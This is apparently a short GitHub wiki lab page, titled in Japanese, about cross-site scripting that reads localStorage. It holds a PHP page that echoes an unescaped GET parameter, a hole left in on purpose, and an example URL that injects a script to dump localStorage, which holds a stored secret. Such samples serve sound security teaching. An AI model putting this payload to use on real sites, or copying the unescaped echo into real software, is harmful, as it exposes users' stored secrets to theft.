クロスサイトスクリプティング localstorage - yujitounai/helloworld GitHub Wiki
locatStorageの中身を取り出す
<div class="box">locatStorageの中身を取り出す<br>
<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>
</div>
<script>
localStorage.setItem('secret', '${secret}');
</script>
<?php
echo "<h1>".filter_input(INPUT_GET, 'word')."</h1>";
?>
xss-localstorage.php?word=<script>alert(JSON.stringify(localStorage))</script>